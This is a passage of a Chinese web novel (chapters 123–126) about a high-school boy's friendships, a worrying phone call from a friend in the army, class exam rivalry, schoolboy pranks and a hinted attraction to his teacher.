这话一出,在场的人都惊呆了,一个个瞪大眼睛看着谢诗韵。他们知道谢诗韵性格直爽,却没想到她这么敢说。张霆琛更是差点把嘴里的酒喷出来,赶紧摆手:“你还是当我姐姐吧!”
“张霆琛你混蛋!”谢诗韵气鼓鼓地瞪着他,“姐姐都把话说到这份上了,你居然还拒绝我?你就是个感情**!”说完仰头又闷了一杯酒。
几瓶酒下肚,谢诗韵的脸颊泛起红晕,身上散发出淡淡的馨香。这个特别的味道让张霆琛紧绷的心弦莫名放松下来。看着她仰头喝酒的样子,张霆琛突然觉得,失恋好像也没那么难熬了。
第一百二十三章:苏旭来电
六个人就这么一直喝到深夜。谢诗韵看着张霆琛,心里满是无奈,她实在不懂,自己到底哪里不好,为什么他就是不肯接受自己。从小到大,只要是谢诗韵想要的东西,就没有得不到的,唯独张霆琛是个例外。可即便如此,她也不想用手段或心计去强求,她只想等张霆琛自己爱上她。她需要的,是一个成熟后能对她负责任的张霆琛。谢诗韵在心里暗暗发誓,自己一定会等下去。只是这份执着的等待与喜欢,真的能打动张霆琛吗?
夜深后,众人终于各自散去。临走时,韩越把张霆琛拉到一旁,认真地说:“小子,以后要是想混社会,就来找我!我带你。在广市,我们家还是有话语权的,我爸说了,会给你安排上位的机会。”这话极具诱惑力,广市的老黑道圈子里,上位向来难如登天。寻常人在老油条手下熬个七八年,再加上过硬的个人能力,都未必能有出头之日。
张霆琛醉醺醺地摆着手:“越哥你又开我玩笑。”韩越却一脸严肃:“你听我一句,哥跟你说的是真心话,你自己好好考虑。”张霆琛心里清楚这话的分量,却只是嘿嘿一笑:“行!越哥,我信你。”说完便迈着螃蟹步晃到李辰浩身边,指着他傻笑:“我说你怎么变成两个人了?”
李辰浩无奈地对韩越他们说:“你们先回吧,小琛这状态怕是不能再喝了,我们也回家了。”谢诗韵这时走到张霆琛耳边,轻声嘀咕了几句,又在他脸上飞快地亲了一下,才拉着韩越和**离开。之后李辰浩半扶半抬地把张霆琛送上出租车。刚上车,李辰浩就戳了戳他:“起来吧别装了,我才不信你真醉了。”
张霆琛立刻揉着脑袋坐起来,无奈地抱怨:“都怪你把他们叫来,一个个轮番灌我,真是的!”“我就知道你没醉。”李辰浩叮嘱道,“记住薛妈跟咱们说的,喝酒可以,但永远得保持五分清醒。”
“我知道。”张霆琛皱着眉,“我是说你干嘛把谢诗韵叫来?这丫头快把我折腾**。”李辰浩却不以为意:“我觉得这姑娘不错,你真可以考虑考虑。”
“我也觉得!二哥你就考虑考虑谢诗韵吧,家里有钱有势,人又那么喜欢你!”李辰浩话音刚落,陈曦就在一旁煽风点火。张霆琛无奈地看着这俩人,实在不懂他们怎么对自己的私生活这么上心。陈曦又好奇地追问:“二哥,谢诗韵走的时候跟你说什么了?”
“啊…这……”张霆琛结结巴巴地说着,脸腾地红了。李辰浩和陈曦对视一眼,瞬间恍然大悟。陈曦挤眉弄眼地打趣:“我说二哥,她是不是说要等你一辈子啊?”
“是啊!你怎么知道?”张霆琛脱口而出,说完就后悔了。果不其然,接下来便是李辰浩和陈曦没完没了的取笑。虽然被闹得头疼,但有他们在身边,张霆琛心里的失落确实淡了许多,至少不像之前那样难受了。
次日清晨,何欣像往常一样上楼叫他们起床,手里摇着专用的小铃铛:“孩子们快起来,苏旭来电话了!”张霆琛起初还迷迷糊糊想赖床,听到“苏旭”两个字,瞬间从床上弹了起来。紧接着,陈曦和李辰浩也从房间里窜了出来。他们对苏旭的电话格外惊讶,苏旭向来很少跟家里联系,他在军队里具体做什么,他们谁也不清楚。此刻张霆琛真有点后悔让苏旭去军队了。他第一个冲到楼下拿起电话,声音都带着颤抖:“是小旭吗?”
“二哥?”电话那头,苏旭的声音难掩兴奋。他们之间的兄弟情,早已深到旁人无法理解。“是我!小旭,你现在怎么样?过得好吗?不行就回来吧!”张霆琛一口气问了一连串问题,完全没了平时的沉稳。
苏旭在那头愣了一下,随即笑道:“二哥我现在挺好的,你别担心。我这回打电话,是有事情要说。”张霆琛心里突然涌上一股不好的预感,急忙追问:“什么事?可别是什么坏事!”
“二哥,你的直觉还是这么敏锐。”苏旭的声音顿了顿,“我想跟你们说,我可能很久都回不去了,以后也未必能联系上你们。你们别着急。”
“什么?为什么?”张霆琛的心一下子揪紧了,他是真的担心苏旭。而接下来的话,更是让他如遭雷击。苏旭的声音带着哽咽,像是在极力克制情绪:“我想,我想说,大哥、二哥,你们一定要好好照顾陈曦。如果我回不来,就
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请你们替我照顾好我妈……”
“**说什么!”张霆琛瞬间急了,对着电话大吼,“你再说一次!我不准你说这种话!马上给我回来!我不让你待在那儿了!”一旁等着接电话的陈曦和李辰浩也吓傻了。电话那头的苏旭却异常平静:“二哥,有你这句话,我死都值了。谢谢你们的关心,我一定会好好回来的!等着我!”
“苏旭,你混蛋,把话说清楚!”张霆琛急得声音都变了,他实在不知道苏旭到底出了什么事,那种即将失去兄弟的恐慌压得他喘不过气。可苏旭只是匆匆说了句“我挂了,帮我转达给大哥和小曦”,便毫不犹豫地挂断了电话。张霆琛握着忙音的听筒,喂了半天都没回应。李辰浩一把拽住他的衣领,急声追问:“怎么回事?小旭怎么了?”
张霆琛声音发颤:“我也不知道,他说让我们等他,如果回不来,就让我们照顾咱妈……”陈曦再也忍不住,搂着张霆琛放声大哭。过了许久,她才擦干眼泪,强作镇定地问:“他现在是不是还没事?”
“嗯,听他的口气,现在应该没事。”张霆琛安慰道。“没事就好,我们要相信他。”陈曦吸了吸鼻子,“我们一起为他祈祷,他一定会回来的!”
“是啊,小旭命大得很,肯定没事的。再说军营里能有什么大事!”李辰浩也跟着打气,只是这话更像在互相安慰,他们心里没有一个不着急的。苏旭的电话让这个周末蒙上了一层阴霾,直到开学,三人都在强颜欢笑。他们心里清楚,自己不开心,身边的人也会跟着难受,所以选择把担忧藏在心底。只是那份牵挂,真的能轻易忘却吗?苏旭又真的能平安回来吗?谁也说不准。
送陈曦去学校后,张霆琛和李辰浩走在路上,一路沉默。最后还是李辰浩先开了口:“你说小旭到底怎么了?”“不知道。”张霆琛沉声道,“以后别在陈曦面前提小旭的事,她现在最脆弱,我不想让她一直闷闷不乐。”“嗯,我也是这么想的。”
“咱们说好的,兄弟几个要一起打天下。我相信他一定会回来的。”李辰浩重重点头:“对!一起打天下!他肯定会回来的!”
第一百二十四章:一起去
周一开学,张霆琛的任务格外繁重,既要督促全班同学学习,还得赶制详细的提升计划。他刚进教室,第一件事就是站上讲台,用力拍了拍桌子:“大家注意了!上周五我说的事,都清楚了吗?”
常江几人立刻齐声应道:“清楚了!”这个答复让张霆琛很满意,但他故意板起脸:“大家都听见了吗?大点声!”同学们见连常江这些问题学生都积极响应,也纷纷扯开嗓子高呼:“清楚了!”这才是张霆琛要的效果。他趁热打铁切入正题:“咱们要为集体争光,不能丢了一班的脸!所以我决定成立学习小组,互相帮扶,每天晚上留下一小时针对性补习。大家愿意吗?”说完,他特意看向常江,常江一哆嗦,瞬间想起被打穿的木门,赶紧第一个带头表态:“知道了!我们不会让琛哥失望的!”
张霆琛笑眯眯地补充:“不是不让我失望,是别让咱们的刘老师失望。刘老师信任咱们,才敢跟那个肥婆打赌。咱们要是赢了,就集体把她轰下台!”一听要“轰走肥婆”,全班瞬间沸腾,个个摩拳擦掌准备大干一场。李辰浩、邓志辉等人在后排一个劲竖大拇指,前排的王雨更是满眼崇拜地看着张霆琛,反倒让他有些不好意思。
接下来的日子里,班里三十多人分成了学习小组。常江自然归到尖子生王雨麾下,张霆琛则亲自辅导自己的兄弟。最惨的当属王涛,只要重复犯张霆琛讲过的错题,就得被兄弟们“无情殴打”。当然,李辰浩、邓志辉和彭志龙也没轻松多少,张霆琛给他们设的惩罚规则,全由王涛来定。一来二去,李辰浩和邓志辉成了一个阵营,王涛和彭志龙结成另一派。王涛之所以护着彭志龙,全因他送了对方一套《七龙珠》正版全集。这两对互怼较劲的日常格外搞笑:有次张霆琛出数学题考抢答,他还没念完题目,王涛就把所有可能的答案喊了一遍,张霆琛灵机一动临时改题,结果王涛被李辰浩和邓志辉按在地上一顿胖揍,彭志龙看不过去想拉架,最后演变成两对人混战,直到气喘吁吁地躺在地上才罢休。
还有一次,李辰浩答错问题,王涛在一旁坏笑:“大哥,你死定了!”李辰浩脸都绿了,知道这小子没安好心。果然,王涛让他去买一大排保险套,偷偷塞进肥婆的屁股兜里,还得露出一半。这可把李辰浩坑惨了,他一边骂骂咧咧地去买,一边让陈永他们帮忙盯梢,肥婆一出来就通风报信。李辰浩跟在肥婆身后塞了好几回都没成功,最后狠心伸脚绊了她一下,趁她摔倒的功夫把套套塞进兜里,脱下外套蒙住她的脸转身就跑。肥婆太胖,爬起来慢了半拍,压根没看清是谁。但那件外套成了罪证,她拿着衣服挨个班问,可没人敢认,更何况那衣服本就是王涛的。肥婆每出一个班,身后就响起一阵憋不住的哄笑,她自己还莫名其妙,直到六班班主任点明真相。据说她得知身后挂着一串避孕套时,气得半天没喘过气,扬言要抓住肇事者“处以极刑”!
肥婆的狠话没吓到李辰浩,倒把王涛吓够呛,毕竟衣服是他的。他听说自己借出去的衣服被李辰浩扔在肥婆身上,当场就跟李辰浩干了一架,结果被揍得鼻青脸肿。王涛虽说输了武力,嘴上却从没服软,哪怕被揍也得把李辰浩的祖宗十八辈骂一遍。这种另类的学习氛围感染了班里每个人,起初还有人对张霆琛不服气,后来都被这股劲头打动,心甘情愿加入奋斗阵营。
有回校长路过一班,见所有人都在埋头苦学,本想进来表扬几句,刚要开口就听见王涛嘟囔:“老头闭嘴,我想题呢!”这话直接把校长雷住了,旁边的教导主任气得指着王涛:“你说什么?赶紧跟校长道歉!”可王涛压根没理,依旧埋头刷题,他是真学进去了,压根没意识到自己说了啥。校长倒没为难他,被骂了一句后拉着教导主任悄悄走了。后来张霆琛他们把这事告诉王涛,吓得他差点尿裤子,不是怕校长,是怕教导主任罚他抄课堂常规!
就这么一起努力了一个多月,临近考试时,张霆琛对大家说:“今天不用这么拼了,放松一下,我请大家喝饮料!”结果说完没人理他,只有王雨在前面小声说:“我喝可口可乐。”张霆琛无奈地笑了,没想到这帮人真学上头了。其实让一个人主动学习的秘诀,就是培养兴趣
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。他插着兜走出教室,此时已放学一个多小时,学校里没剩多少人。楼道里传来高跟鞋的声音,张霆琛抬头一看,是班主任刘芳。他笑着打招呼:“刘老师!”
刘芳关切地问:“大家还在学习?”“是啊,我劝他们休息都没人理我。”“这还不是你的功劳?真没看出来你有这么大本事。”刘芳调侃道。张霆琛脸一红,赶紧谦虚:“老师过奖了,您才是好老师!”“小滑头,这是要去哪?”
“给大家买饮料。”“我跟你一起去。”刘芳没等他回应,转身朝食堂走去。张霆琛只好跟在后面,忍不住欣赏她的背影,刘芳是真的美,不仅清秀漂亮,身材也好得没话说。他心里偷偷想:能娶到这么漂亮的媳妇,真是天大的福气。
“张霆琛快来帮我拿水!”刘芳的声音让张霆琛瞬间回神。他尴尬地笑了笑,赶紧跑到前面帮忙搬水。刘芳正要掏钱,张霆琛连忙拉住她的胳膊:“老师我来吧!”说着就掏出钱包,却引来了刘芳的不满:“你个小孩子掏什么钱?自己挣钱了吗?赶紧把钱包收回去。”
“那也不好意思让您破费啊。”张霆琛还想坚持,可他的钱包引起了刘芳的注意。她挑眉问道:“我说你一个学生,钱包里怎么有这么多现金?还有这么多银行卡?这钱包还是LV的?”
“啊…这是邓志辉的!”张霆琛慌忙解释。刘芳显然不信,故意逗他:“哦?那我一会儿去问问邓志辉,看是不是他的?”这话可把张霆琛急坏了,钱包真是邓志辉的,是他趁对方不注意顺手拿来的,要是刘芳真去对质,非露馅不可。他只好老实交代:“是我的,老师……”
“小孩子还跟我玩心眼,差远啦!”刘芳笑着把他的钱包推回去,“赶紧收起来,揣这么多钱不怕被**?”刘芳的声音温柔又清亮,张霆琛竟莫名希望能多聊一会儿。他暗自懊恼,刚和梁颖分手没多久,怎么会对老师产生这种想法?还好他定力够强,见刘芳执意要付钱,只好收起钱包。两人搬着三箱水慢悠悠往教室走,路上刘芳突然问:“上回打架的事到底怎么回事?你还没好好跟我说过呢。”
第一百二十五章:梦
这事可不好全说实话,张霆琛含糊道:“是他们来学校找事,最后起了冲突。”“你又骗我是不是?”刘芳一眼看穿他的心思。
张霆琛“啊”了一声想掩饰尴尬,刘芳却不依不饶:“我才不信你乖乖待着会有人找你麻烦,一个巴掌拍不响。别想瞒我,你老师我可是学心理学的。”女人真是难缠,张霆琛心里嘀咕却不敢说,只能用“嗯”“啊”敷衍。他平时面对警察局副局长都能面不改色,可在刘芳面前总像漏了气的气球,处处是破绽,这让他郁闷不已。
好在刘芳没再追问,转而语重心长地说:“学生就得好好读书,以后做个有用的人,别总想些有的没的。再让我知道你在外头打架,可不轻饶你,别以为成绩好就有特权。”这话要是换个人说,张霆琛才懒得搭理,可从刘芳嘴里说出来,他却一点脾气都没有。
俩人边聊边到了教室,刘芳见所有人都在埋头苦学,感动不已。她用一种特别的眼神看了张霆琛一眼,然后对大家说:“同学们,今天的学习就到这,老师请你们喝饮料!”那眼神里有惊讶,有欣慰,似乎还藏着别的情绪。张霆琛没太在意,可李辰浩他们却看得明明白白。王涛第一个起哄:“哦!老师和二哥请喝水!大家冲啊!”邓志辉、李辰浩和彭志龙立刻心领神会,一群人蜂拥而上,故意把张霆琛和刘芳挤到角落里,明摆着是想戏弄俩人。
张霆琛心里清楚他们的小心思,可被这么多人围着,根本动弹不得。鼻尖萦绕着刘芳身上特有的馨香,他竟有些陶醉,恍惚间想起王嫣然身上似乎也有类似的味道,却少了几分成熟韵味,具体哪里不同,他也说不清楚。刘芳倒没太介意,等水发完后站上讲台:“大家的努力我都看在眼里,希望你们不仅现在努力,更要把这种精神用到以后的每一件事上。”
刘芳话音刚落,王涛就带头拍手叫好:“好!”全班立刻跟着起哄,只有张霆琛狠狠瞪了他一眼,王涛吓得一哆嗦。其他人都幸灾乐祸地看着,张霆琛这眼神,意味着王涛要遭殃了,至于怎么收拾,每次都花样翻新。等刘芳离开,大家准备回家时,张霆琛嘿嘿笑着朝王涛走去。王涛无助地瞅向李辰浩等人,可这帮人全装没看见。接着就听见王涛杀猪般呢惨叫,最后解决这场恩怨的唯一方式,就是大家一起去饭馆搓一顿,而且得用王涛的钱。
别看王涛家有钱,他老爹给的零花钱却掐得很死,家里的教育方针是:“有本事自己挣!每天只给够饭钱,花完了自己想办法,不许偷不许抢,一切靠正当手段!”一群人在饭馆里专点贵的,酒水直接要五粮液,王涛在一旁看着菜单数钱,脸都快绿了。其实跟着张霆琛他们,王涛压根饿不着,可兜里没钱就买不了想要的东西,更没法追女生。上菜时,张霆琛站起来一本正经地说:“感谢主赐予我们食物!”逗得大家哈哈大笑。为了“加码”,张霆琛还把王雨和周喜铭他们也叫来了,这顿饭算下来得两千多,相当于王涛两个月的饭费。其他人吃得眉开眼笑,只有王涛一脸苦相。
酒足饭饱后,张霆琛走到王涛身边,笑眯眯地问:“还闹吗?”“不闹了!”王涛老老实实回答,一点嚣张劲儿都没了。这副模样逗得大家狂笑不止,也只有在这帮兄弟面前,他才会露出这么憨的一面,谁能想到,将来黑道上令人闻风丧胆的煞神,还有这么可爱的一面?
“好了,去结账吧。”张霆琛拍了拍他的肩膀。王涛苦着脸去前台,可服务员却说已经有人结过账了。他纳闷地问:“是谁结的?”
服务员指向包间:“就是那个小帅哥啊。”王涛顺着她指的方向一看,正是张霆琛。他心里瞬间豁然开朗,一边傻笑一边跑回包间。邓志辉故意问:“多少钱啊?心疼坏了吧?”
王涛立刻装出豪气的样子:“嗨,就两千多,小意思!”“呦,这么大方?那哥几个是不是该再
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加点菜啊?”李辰浩故意逗他。
王涛一听这话,赶紧陪笑:“行了哥几个,有话好好说,下次我再请还不行吗?”说着,他感激地看了张霆琛一眼。张霆琛拿起酒杯朝他示意,俩人相视一笑,看得其他人一头雾水。可张霆琛真有这么好心,会帮王涛付账吗?
大家出了饭店准备各回各家时,张霆琛和李辰浩头一个拦了出租车就走,把一群人看得丈二和尚摸不着头脑。只有邓志辉隐隐觉得不对劲,昨天历史课上,他和张霆琛他们打牌输了,按规矩要被耍三次:第一次是去操场喊“我是SB”,第二次是向三班那个胖乎乎的女生表白,已经把他恶心坏了,可第三次惩罚迟迟没说。邓志辉回想饭店里的一幕幕,突然心里一紧,赶紧摸了摸钱包,还在!可打开一看,里面只剩零零碎碎的几块钱了!
“张霆琛!你大爷的!那是我一个月的零花钱!”邓志辉对着天空怒吼。其实张霆琛原本只用他的钱买饮料,可谁让邓志辉刚才起哄最卖力,挤他挤得最欢,最后干脆决定好好回报他一下。
出租车上,李辰浩瞥了张霆琛一眼:“你是不是又干缺德事了?”“没有啊!”张霆琛斩钉截铁地否认。“我才不信!在我印象里,你一着急跑路就准没好事!”张霆琛嘿嘿一笑:“你怎么知道的?”
“废话,你跟我玩阴的时就这德行!”李辰浩翻了个白眼,“你是不是用邓志辉的钱付账了?”“你怎么知道?”张霆琛好奇地问。“我看见你摸他钱包了,还一个劲给他灌酒!咱们说好只用他的钱买水,你怎么这么损,连饭钱都给人家掏空了?”张霆琛理直气壮地辩解:“谁让他那么爱起哄?刚才就他挤我挤得最开心!”李辰浩见他这副模样,真是没辙了。
深夜,张霆琛突然从梦里惊醒,额头上全是冷汗,梦里邓志辉正追着他喊:“张霆琛!你给我站住!”他喘着气拍了拍胸口,心想:还好只是个梦……
第一百二十六章:兄弟日常
兄弟间互相整活成了张霆琛他们的日常乐事,这段热热闹闹的时光,后来成了他们最珍贵的回忆。又过了几天,期待已久的考试终于来了。那个被称为“肥婆”的朱老师特意向学校建议,要亲自监考一班,她生怕这帮学生靠**拿全年级第一。
可张霆琛他们根本不怕,毕竟这次是凭真本事冲刺第一,谁来监考都一样。铃声一响,大家飞快地动笔答卷。高一考试科目不多,只有语文、数学、英语三科,考试时间不算长。肥婆却不嫌累,学生考一个半小时,她就在教室里溜达一个半小时,最后累得够呛也没抓到半个**的。接下来的几场考试,一班依旧没人动歪心思。
第一天考完试,第三天全年级成绩就出来了。这天清晨,所有人都早早到校,心里揣着同一个念头,等分数。刘芳也提前来了学校,想第一时间给大家报喜。王涛坐在张霆琛前排,急得抓耳挠腮:“你说咱们能考第一吗?”
“急什么?等着呗!磨磨唧唧跟个娘们似的。”李辰浩在一旁打趣。“能不急吗?也就你心大!你才娘们呢!”王涛回怼。“我当然不急。”李辰浩慢悠悠地说。王涛一脸不解:“为啥啊?”
“因为我知道咱们是第一啊!”这话一出,全班瞬间安静,所有人的目光都集中过来。李辰浩说完就后悔了,因为张霆琛正死死地盯着他。他赶紧改口:“我是坚信咱们能考第一!”全班立刻集体鄙视他,李辰浩冷汗都下来了,他还真知道成绩,这事儿得从昨晚说起。昨晚他和张霆琛聊天时,张霆琛收到一条刘芳的短信:“在你的努力下,咱们班终于考了全年级第一!亲~”正好被他瞥见。当时他还故意挖苦:“哎呦,还‘亲’呢,这么亲热?师生恋啊,真是中国人民的悲哀。”
张霆琛当时脸涨得通红,警告他:“你敢说出去,咱俩没完!”“你奈我何?”李辰浩挑衅道。“单挑!谁赢谁说了算!”张霆琛说着就撸起袖子。李辰浩也不含糊,脱了上衣准备迎战。还没等喊开始,张霆琛就扑了上来,李辰浩刚想还手,就见他的手直奔自己裤裆,赶紧向后躲闪。可下一秒,张霆琛一把抓住了他的胸口,还死不撒手。最后李辰浩没辙,只好求饶:“我认输!这事我不说出去!”张霆琛这才松手。
其实李辰浩有很多办法反抗,但每种都会伤到张霆琛,张霆琛也知道他不会真动手,才敢用这阴招。所以当张霆琛瞪他时,李辰浩才会发怵,那滋味是真疼。后来张霆琛拿着手机跑回房间,至于他和刘芳后来聊了什么暧昧话,就没人知道了。今早李辰浩问了好几次,张霆琛都没说,可把他郁闷坏了。李辰浩没发现,自己以前明明沉默寡言,现在的生活却变得这么热热闹闹。
刘芳走进教室,笑着宣布:“咱们班经过一个月的努力,终于……”她故意停顿,卖了个关子。大家急得不行,刘芳捂着嘴笑:“看你们急的!咱们班终于考了年级第一,总分比第二名高出三十分!”
“轰!”全班瞬间沸腾,掌声和欢呼声差点掀翻屋顶。刘芳欣慰地看着学生们,时不时朝张霆琛望去。她对这个男孩的心情很复杂,实在说不清该用什么心态面对他。张霆琛心里也乱糟糟的,不过他到现在都没对谁动心,不是眼光高,是真的还在想梁颖。王涛第一个站起来,清了清嗓子:“咱们都还记得,为啥拼了命要考第一吗?”
常江立刻接话:“知道!为了报仇!”“对!找肥婆报仇!”王涛说着就要带人往办公室冲,却被刘芳拦住了。“这样不好,孩子们。”刘芳劝道,“你们考第一是为了自己,为了父母。打赌的事就算了吧。”
王涛不太情愿,要是他们输了,肥婆肯定不会善罢甘休。张霆琛这时站起来:“就给刘老师个面子,这事算了。但我们希望换历史老师,这是最低底线。”刘芳想了想:“好!这事我去运作,但你们不许去办公室**,也别到处说朱老师坏话,她人其实不错的。”
“不错个屁,就是个没人要的肥婆!”王涛心里暗骂,却没说出口,这话其实说出了大多数人的心声。但既然张霆琛发了话,大家都乖乖听话。闹归闹,张霆琛的话在班里分量十足,他一开口就没人反对了。刘芳又惊又喜,她知道张霆琛威信高,却没想到高到这种地步。不过这也是好事,至少班级有了主心骨,会更团结。
“谢谢大家。换老师的事我会
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给你们满意答复的。”刘芳顿了顿,又说,“下星期有篮球赛,还有运动会,希望大家踊跃参加。”这个消息让所有人瞬间兴奋起来,运动会不仅能玩,还能放假。这学校的宗旨就是“有活动就有假,有假就有活力”。
接下来的日子,大家从疯狂刷题模式切换到卖力练球模式。张霆琛他们对运动会兴趣不大,就爱打篮球。可刘芳给他们下了“圣旨”:每人必须参加两项运动!李辰浩他们还好,彭志龙却快抓狂了,他最不擅长体育运动。不过有这帮活力四射的兄弟带着,倒也玩得开心。做什么事不怕没兴趣,就怕没氛围。
这天中午,张霆琛和李辰浩坐在操场的大树下抽烟,李辰浩问:“五一有啥打算?”张霆琛耸耸肩:“还能啥?玩呗!”
李辰浩沉默片刻:“有没有想回家看看?”张霆琛愣了一下,随即释怀,回家干啥?在家里还不够丢人吗?还有什么值得牵挂的?李辰浩见他不说话,赶紧打圆场:“不想回就算了,我就是问问。”张霆琛语气坚定:“大哥,咱们必须有出人头地的一天,否则我永远没脸回那个家。”
李辰浩躺在地上,用手对着太阳比划:“会的!我永远守在你身边!”这话差点让张霆琛落泪,其实他想家,只是不能回。他要证明给父亲看,给哥哥看,给所有人看!这时,篮球场传来吵闹声,张霆琛问:“那是不是周喜铭他们?”
李辰浩望了望:“好像是,出事了?”张霆琛耸耸肩:“看样子是,过去看看。”俩人朝篮球场走去,远远就看见一群高年级学生对着周喜铭他们指指点点,王涛他们也在其中。张霆琛拉过邓志辉小声问:“怎么回事?”
“找事的!想抢场地!这块有阴凉,他们想占了。”邓志辉解释。“那就给他们呗,咱们去别的地方玩,犯不着为这打架。”张霆琛难得这么佛系。可邓志辉无奈道:“我也是这么说的,但周喜铭不干,说拉不下脸。不过也是,凭啥他们说让就让啊!”
这时对方一个高个子指着周喜铭骂道:“小子,你狂什么?赶紧滚去那边玩,别在这耽误我们练球!你们这纯属过家家!”这话瞬间点燃了王涛他们的火气。